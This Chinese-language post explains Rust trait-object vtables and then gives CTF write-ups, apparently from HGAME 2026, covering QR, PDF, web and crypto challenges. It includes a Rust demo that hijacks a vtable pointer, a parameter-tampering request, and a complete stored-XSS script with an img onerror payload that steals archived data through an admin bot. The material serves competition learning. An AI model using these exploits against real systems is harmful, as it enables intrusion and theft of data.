还是用一个程序作为例子展开讲罢

trait Greet {    fn greet(&self) -> String;}struct Cat;impl Greet for Cat {    fn greet(&self) -> String { "meow".into() }}fn main() {    let c = Cat;    let d: &dyn Greet = &c;    println!("{}", std::mem::size_of::<&Cat>());        // 8    println!("{}", std::mem::size_of::<&dyn Greet>());  // 16}

胖指针

上面的&dyn Greet是16字节

&[u8] 同样是 16 字节：

println!("{}", std::mem::size_of::<&[u8]>()); // 16let s: &[u8] = &[1, 2, 3];// 内存布局: (数据指针, 长度)

因为切片要支持 s.len()，光有一个起始地址不够，得把长度带上。于是 &[T] 变成”数据指针 + usize 长度”两个 word。&str 同理，str 的元数据也是长度。

Rust 把这种指针 + 附加信息的结构叫胖指针（fat pointer）。元数据类型由 Pointee trait 的关联类型 Metadata 决定，目前只有两种：

• 切片 / str：长度（usize）
• trait object：虚表指针

瘦指针（thin pointer）就是一个裸地址，比如 &Cat、*const u8。

dyn 是什么

dyn Greet 是一个实现了 Greet、但类型未知的东西，它叫 trait object（trait 对象）。

什么时候会需要它？编译期你只知道”它实现了 Greet“，不知道具体是 Cat 还是 Dog，却想把它们塞进同一个容器、传给同一个函数。泛型做不到这件事——泛型是单态化，Vec<Box<Cat>> 和 Vec<Box<Dog>> 是两个完全不同的类型，放不进同一个 Vec：

trait Greet { fn greet(&self) -> String; }struct Cat; impl Greet for Cat { fn greet(&self) -> String { "meow".into() } }struct Dog; impl Greet for Dog { fn greet(&self) -> String { "woof".into() } }let mut pets: Vec<Box<dyn Greet>> = Vec::new();pets.push(Box::new(Cat));pets.push(Box::new(Dog));for p in &pets {    println!("{}", p.greet()); // meow / woof}

Vec<Box<dyn Greet>> 里每个元素的真实类型都不同，但对外的接口一致。每次p.greet() 调用时要查这个元素到底是谁、它的 greet 在哪，然后跳过去。这种运行期才确定调谁的写法，叫动态分发（dynamic dispatch）；泛型在编译期就确定调谁，叫静态分发（static dispatch）。

动态分发多一层间接调用，通常也告别了内联，这是它的主要代价；换来的是”用一个统一的类型装任意实现”。dyn 本身是未定大小的（!Sized），不能拿 dyn Greet 直接当值用，必须放在引用、指针或盒子后面，像&dyn Greet、Box<dyn Greet>、Rc<dyn Greet> 都行。

dyn Trait

&dyn Greet 的 16 字节拆开是：

data   : *const ()   // 指向具体对象vtable : *const ()   // 指向类型 Cat 的 Greet 实现表

旧版标准库里有个 std::raw::TraitObject，就是这个结构，专门用来拆 trait object：

#[repr(C)]pub struct TraitObject {    pub data: *mut (),    pub vtable: *mut (),}

它后来被移出了标准库，我这个版本的 rustc 里 std::raw 已经不存在了。但仍然可以借助transmute：

#[repr(C)]struct TraitObject { data: *const (), vtable: *const () }let to: TraitObject = unsafe { std::mem::transmute(d) };assert_eq!(to.data as *const Cat, &c as *const Cat);

ps：这个 transmute 是合法的：两个类型都是 16 字节，引用转成裸指针对没有别名问题。不过日常写代码用不到它，下面有更干净的观察方式。

vtable

rustc 生成 vtable 的逻辑在 compiler/rustc_middle/src/ty/vtable.rs。布局如下（rustc 把它标为 explicitly unstable，不保证稳定；下文实测基于 rustc 1.97.1）：

前三个条目是 vtable 的”头”。有了它们，运行时不需要知道具体类型就能完成 drop、算 size、算 align —— size_of_val、align_of_val 就是这么实现的。

把上一节的 to.vtable 当 usize 数组读出来：

let vt = to.vtable as *const usize;unsafe {    println!("{:p}", *vt as *const ());        // drop_in_place    println!("{}", *vt.add(1));                // size    println!("{}", *vt.add(2));                // align    println!("{:p}", *vt.add(3) as *const ()); // greet}

Cat 是零大小类型（ZST），输出是：

0x0   // 不需要 drop，drop_in_place 是空指针0     // size1     // align0x55… // greet 的函数指针

如果换成一个带字段的类型就能看到真实值。struct Dog { name: String } 的 vtable：

drop_in_place = 0x55…   // 真实的 drop glue 代码size          = 24      // size_of::<Dog>()align         = 8greet         = 0x55…shout         = 0x55…

rustc 源码里对应这段逻辑：ty.needs_drop 为 false 时 drop_in_place 写空指针，否则写 drop glue 的地址。

一次动态分发

d.greet() 在编译期不知道 d 背后是 Cat 还是别的类型，不能直接 call。于是就

1. 从 vtable 偏移 3 取出函数指针
2. 把 d 的两个 word（data, vtable）作为参数传进去

trait 方法 fn greet(&self) 在 ABI 层收到的 self 就是这两个 word。

type GreetFn = unsafe fn(*const (), *const ()) -> String;let vt = to.vtable as *const usize;unsafe {    let greet: GreetFn = std::mem::transmute(*vt.add(3));    let out = greet(to.data, to.vtable);    println!("{out}"); // meow}

把函数指针 transmute 成别的签名是 UB 敏感操作，这里只为演示。但调用约定是确定的：dyn 方法第一个参数是数据指针，第二个是 vtable 指针。

对比静态分发：泛型函数 fn f<T: Greet>(x: &T) 里调 x.greet()，单态化之后是一次直接调用，可以内联。dyn 多了 vtable 的一次内存加载和一次间接跳转。像是异质集合 Vec<Box<dyn Greet>> 只能用 dyn。在性能敏感的路径用泛型。

超 trait 与 upcasting

trait Animal: Greet 的情况下，&dyn Animal 的 vtable 长这样：

[drop_in_place, size, align, greet, shout, name, ...]

超 trait 的方法排前面，然后才是自己的。

let a: &dyn Animal = &c;let up: &dyn Greet = a;   // upcast// up 的 vtable 指针和 a 的完全相同

Greet 的方法在两个 vtable 里都在偏移 3、4，所以 dyn Animal 转 dyn Greet 不需要调整 vtable 指针，直接复用。rustc 的 vtable 还有一种 TraitVPtr 条目，指向单独的超 trait vtable，算是给 upcasting 用的兜底。

顺带提 dyn 兼容性的两个边界：

• fn new() -> Self where Self: Sized 这类非分发方法不占 vtable 槽位，trait 仍可 dyn
• 泛型方法（fn id<T>(&self, x: T)）会让整个 trait 失去 dyn 兼容性，编译直接报 E0038

虚表劫持

上面一直在”读”虚表。把它当安全点看，整条链路里真正被信任的是那个 vtable_ptr：虚派发每次都从 vtable_ptr 指向的地方按偏移取函数指针再间接调用。rustc 假定它是可信的，因为它指向只读数据段。可一旦某个越界写能改掉一个 trait object 的 vtable_ptr，这套信任就没了。

unsafe 的指针算术没有边界检查。常见的一种场景：功能对象被存成 Box<dyn Trait> 数组，某个下标的读写只在”上层逻辑/编译器”那里检查过，底层却直接 ptr.add(idx) 访问。于是：

• 越界读胖指针的第二个 word，就能泄漏 vtable_ptr。vtable 在二进制里有固定偏移（可以用 readelf -r 在重定位表里反查出来），泄出它就能算出 PIE 基址。
• 越界写同一个 word，就能把 vtable_ptr 改成自己可控的内存。虚派发只读”方法条目所在的那个偏移”，所以伪造虚表根本不用管 drop/size/align，只要保证方法那一项指向目标函数。

trait Greet { fn greet(&self) -> String; }struct Cat;impl Greet for Cat { fn greet(&self) -> String { "meow".into() } }fn win(_data: *const (), _vt: *const ()) -> String { "pwned".into() }#[repr(C)]struct FakeVt {    drop: usize,    size: usize,    align: usize,    method: unsafe fn(*const (), *const ()) -> String, // +0x18，方法 0}fn main() {    let c = Cat;    let mut d: &dyn Greet = &c;    println!("{}", d.greet()); // meow    let fake = FakeVt { drop: 0, size: 0, align: 0, method: win };    // 把 d 的 vtable_ptr 指向伪造虚表 —— 实际攻击里这一步来自越界写    let slot = &mut d as *mut &dyn Greet as *mut [*const (); 2];    unsafe { (*slot)[1] = &fake as *const FakeVt as *const (); }    println!("{}", d.greet()); // pwned}

输出是：

meowpwned

这跟 C++ 里劫持对象的 vptr 思路一致，差的就是Rust 把 vtable 指针放在引用/盒子里而不是对象内部，所以攻击目标从对象体里的 vptr转向对象旁边独立的 16 字节胖指针。

参考

• Static and Dynamic Dispatch — The Rust Programming Language
  https://rust.googlesource.com/rust/+/cff0b78ce7a46daf2e6f8de16273ef2e10b6fea6/src/doc/trpl/static-and-dynamic-dispatch.md
• Rust: Static vs Dynamic Dispatch — SoftwareMill
  https://softwaremill.com/rust-static-vs-dynamic-dispatch/

Invest on Matrix

解锁hint1就知道是一个version2的二维码，剩下的就是不断解锁补全直到可以通过纠错识别出来，这是基础结构，我们优先补全右下角再逐渐保持中心完整，最后脚本如下：

from PIL import Imageimport osdef make_matrix():    m = [[0]*25 for _ in range(25)]    def place_finder(r,c):        for i in range(7):            for j in range(7):                v = 1 if (i in (0,6) or j in (0,6) or (2<=i<=4 and 2<=j<=4)) else 0                m[r+i][c+j] = v    place_finder(0,0)    place_finder(0,18)    place_finder(18,0)    for j in range(25):        m[6][j] = 1 if j%2==0 else 0    for i in range(25):        m[i][6] = 1 if i%2==0 else 0    for i in range(5):        for j in range(5):            r = 16+i            c = 16+j            v = 1 if (i in (0,4) or j in (0,4) or (i==2 and j==2)) else 0            m[r][c] = v    return mdef apply_block(m, k, vals):    r = (k-1)//5    c = (k-1)%5    sr = r*5    sc = c*5    for idx, v in enumerate(vals):        dr = idx//5        dc = idx%5        m[sr+dr][sc+dc] = vdef save_png(m, path, cell_size=12, border=4):    n = len(m)    s = (n + 2*border) * cell_size    img = Image.new('RGB', (s, s), 'white')    px = img.load()    for y in range(n):        for x in range(n):            col = (0,0,0) if m[y][x]==1 else (255,255,255)            for dy in range(cell_size):                for dx in range(cell_size):                    px[(x+border)*cell_size+dx, (y+border)*cell_size+dy] = col    img.save(path)    print(path)def main():    m = make_matrix()    b2 = [1,1,0,1,1,0,1,0,1,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0,1]    b6 = [1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0]    b7 = [0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,1,0,1,0,1,0,1]    b8 = [0,0,1,1,0,1,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,1,0,0,1]    b9 = [1,0,0,1,0,0,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,1,0,1,0]    b10 = [0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,0,1,0,1,1]    b11 = [1,1,0,1,1,1,1,1,0,1,0,1,1,0,0,1,0,0,0,1,1,0,0,1,1]    b13 = [1,1,0,1,0,0,0,1,0,1,1,1,1,1,0,1,1,0,1,1,1,0,0,1,0]    b14 = [1,1,1,0,1,0,0,0,0,1,1,0,1,0,1,1,1,0,1,0,0,0,0,1,0]    b18 = [1,1,1,0,1,0,0,1,1,1,1,0,0,0,1,1,1,0,0,1,0,1,1,1,1]    b19 = [0,1,1,1,1,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0]    b15 = [1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1]    b20 = [0,0,0,1,0,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,0,1,1]    b21 = [1,0,1,1,1,1,0,1,1,1,1,0,1,1,1,1,0,0,0,0,1,1,1,1,1]    b16 = [1,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0]    b12 = [1,1,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,1,1,1,1,1,0]    b24 = [1,1,1,1,1,0,0,0,1,1,1,0,1,1,1,1,0,1,0,1,0,1,0,0,0]    b25 = [1,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,1,0,0,1,0,0,1,1,1]    apply_block(m, 2, b2)    apply_block(m, 6, b6)    apply_block(m, 7, b7)    apply_block(m, 8, b8)    apply_block(m, 9, b9)    apply_block(m, 10, b10)    apply_block(m, 11, b11)    apply_block(m, 13, b13)    apply_block(m, 14, b14)    apply_block(m, 12, b12)    apply_block(m, 18, b18)    apply_block(m, 19, b19)    apply_block(m, 15, b15)    apply_block(m, 20, b20)    apply_block(m, 21, b21)    apply_block(m, 16, b16)    apply_block(m, 24, b24)    apply_block(m, 25, b25)    out = os.path.abspath(os.path.join(os.path.dirname(__file__), "qr_recon.png"))    save_png(m, out)if __name__ == "__main__":    main()

得到flag。

[REDACTED]

题目为（涂黑，修改）过后的一个pdf，我们可以在第一个涂黑位置找到第一段敏感字符串，直接通过文字编辑功能将颜色改为白色再复制出来得到第一个字符串1:PAR4D0X。(

然后在第二个涂黑的位置在文字编辑的模式下可以看到以下内容

因为字体原因无法直接复制，选着直接图像识别。三段经典JWT，第一段是加密方式，第二段为内容，第三段为签名，经过base64解码得出第二个字符串2:AllCl3arToPr0ceed

随后在图片位置有处涂黑，拉对比度和亮度识别出第三个字符串3:Sh4m1R

最后在检查pdf的文件结构时发现其尾部有2个%EOF为结尾，可知为pdf的增量更新，第四个字符藏在旧版本被删掉的那一页里。

我们现在要做的就是将那删掉的一页恢复，也就是定位到第一个%EOF的位置对pdf进行切片，通过grep找到%EOF的位置。

计算%EOF的代码如下

with open("manual.pdf", "rb") as f_in:    file = f_in.read()with open("manual_old.pdf", "wb") as f_out:    f_out.write(file[:234721])

打开manual_old.pdf

找到第四段字符串4:D0cR3qu3st3r_Tutu,最后连接得到flag。

web

魔理沙的魔法目录

用F12及网络保存日志可知，每过一定时长，服务器会发送一个record和一个check的请求，record请求荷载为{“time”:10}，而题目对身份没有做限制，可以直接对/record用post的application/json传参{“time”:7200}(大于1小时)

最终访问/check得到flag为：

博丽神社的绘马挂

题目说明紫在归档完毕的绘马里藏了一些不可告人的秘密。分析前端代码及main.js。发现，题目没有对消息提交界面的content做过滤处理

同时有/api/report可以让Reimu访问。由此得到本体为存储型XSS，但是普通用户看不到已归档的内容，所以接下来的思路就是通过XSS漏洞让管理员在已归档的文档中找到flag，并通过/api/message发出来，这样普通用户就能看到了。按照以上思路构造payload，写脚本如下：

import reimport timeimport stringimport requestssite = "http://local-2.hgame.vidar.club:31464"def main():    s = requests.Session()    user = f"admin"    pw = f"123456"    r = s.post(f"{site}/api/auth/login", json={"username": user, "password": pw})    js = """(async()=>{  try{    const a = await fetch('/api/archives').then(r=>r.json());    const m = JSON.stringify(a).match(/Hgame\{[^}]+\}/);    if(m){      await fetch('/api/messages', {        method: 'POST',        headers: {'Content-Type':'application/json'},        body: JSON.stringify({content: m, is_private: false})      });    }  }catch(e){}})();""".strip().replace("\n", "")#让Reimu访问归档页面获取flag再返回到提交message    payload = f"<img src=x onerror=\"{js}\">"    r = s.post(f"{site}/api/messages", json={"content": payload, "is_private": False})    if r.status_code != 200:        raise SystemExit(f"post failed: {r.status_code} {r.text}")        for i in range(5):        try:            s.post(f"{site}/api/report", timeout=8)            break        except Exception:            time.sleep(2)    for i in range(60):        r = s.get(f"{site}/api/messages")        if r.status_code == 200:            m = re.search(r"Hgame\{[^}]+\}", r.text)            if m:                print(m.group(0))                return        time.sleep(2)    raise SystemExit("fail")if __name__ == "__main__":    main()

这里用的上传漏洞是故意导致错误，让管理员自动执行onerror后的命令。

<img src=x onerror="payload">

最后得到flag

crypto

Flux

题目给出自定义二次同余递推类Flux和哈希函数shash的实现代码，运行后生成data.txt（包含Flux的4个连续输出值、260位素数模数n）。已知shash的密钥key位长小于70，目标是恢复key，并计算shash("I get the key now!", key)的十六进制结果，用VIDAR{...}包裹为flag。

EXP如下

import astfrom typing import Tuple, Optionaldef read_data() -> Tuple[list, int]:    with open('data.txt', 'r') as f:        xs = ast.literal_eval(f.readline().strip())        n = int(f.readline().strip())    return xs, ndef inv(a: int, n: int) -> int:    return pow(a, -1, n)def legendre(a: int, p: int) -> int:    return pow(a, (p - 1) // 2, p)def tonelli_shanks(a: int, p: int) -> Optional[int]:    if a == 0:        return 0    if legendre(a, p) != 1:        return None    if p % 4 == 3:        return pow(a, (p + 1) // 4, p)    q = p - 1    s = 0    while q % 2 == 0:        q //= 2        s += 1    z = 2    while legendre(z, p) != p - 1:        z += 1    c = pow(z, q, p)    x = pow(a, (q + 1) // 2, p)    t = pow(a, q, p)    m = s    while t != 1:        i = 1        t2i = (t * t) % p        while t2i != 1:            t2i = (t2i * t2i) % p            i += 1            if i == m:                return None        b = pow(c, 1 << (m - i - 1), p)        x = (x * b) % p        t = (t * b * b) % p        c = (b * b) % p        m = i    return xdef solve_abc(xs: list, n: int) -> Tuple[int, int, int]:    x1, x2, x3, x4 = xs    A = (x2 * x2 - x1 * x1) % n    B = (x2 - x1) % n    C = (x3 - x2) % n    D = (x3 * x3 - x2 * x2) % n    E = (x3 - x2) % n    F = (x4 - x3) % n    det = (A * E - B * D) % n    det_inv = inv(det, n)    a = ((E * C - B * F) % n) * det_inv % n    b = ((A * F - D * C) % n) * det_inv % n    c = (x2 - (a * x1 * x1 + b * x1)) % n    return a, b, cdef recover_seed(x1: int, a: int, b: int, c: int, n: int) -> Tuple[int, int]:    if a % n == 0:        x0 = ((x1 - c) * inv(b, n)) % n        return x0, x0    two_a_inv = inv((2 * a) % n, n)    delta = (b * b - 4 * a * ((c - x1) % n)) % n    r = tonelli_shanks(delta, n)    if r is None:        raise ValueError("no sqrt for delta")    x0a = ((-b + r) % n) * two_a_inv % n    x0b = ((-b - r) % n) * two_a_inv % n    return x0a, x0bdef shash_py(value: str, key: int) -> int:    mask = (1 << 256) - 1    x = (ord(value[0]) << 7) & mask    for ch in value:        x = ((key * x) & mask) ^ ord(ch)    x ^= len(value) & mask    return xdef solve_key_with_z3(h: int, value: str) -> int:    from z3 import BitVec, Solver, BitVecVal, ULE    key = BitVec('key', 256)    s = Solver()    s.add(ULE(key, BitVecVal((1 << 70) - 1, 256)))    x = BitVecVal(ord(value[0]) << 7, 256)    for ch in value:        x = (key * x) ^ BitVecVal(ord(ch), 256)    x = x ^ BitVecVal(len(value), 256)    s.add(x == BitVecVal(h, 256))    if s.check().r != 1:        raise ValueError("unsat")    m = s.model()    kval = m.eval(key).as_long()    return kvaldef main():    xs, n = read_data()    a, b, c = solve_abc(xs, n)    x0a, x0b = recover_seed(xs[0], a, b, c, n)    value = "Welcome to HGAME 2026!"    cand = [x0a, x0b]    key = None    seed = None    for h in cand:        try:            k = solve_key_with_z3(h, value)            key = k            seed = h            break        except Exception:            pass    if key is None:        raise RuntimeError("key not found")    magic_word = "I get the key now!"    flag = "VIDAR{" + hex(shash_py(magic_word, key))[2:] + "}"    print(key)    print(seed)    print(flag)if __name__ == "__main__":    main()

最终得到flag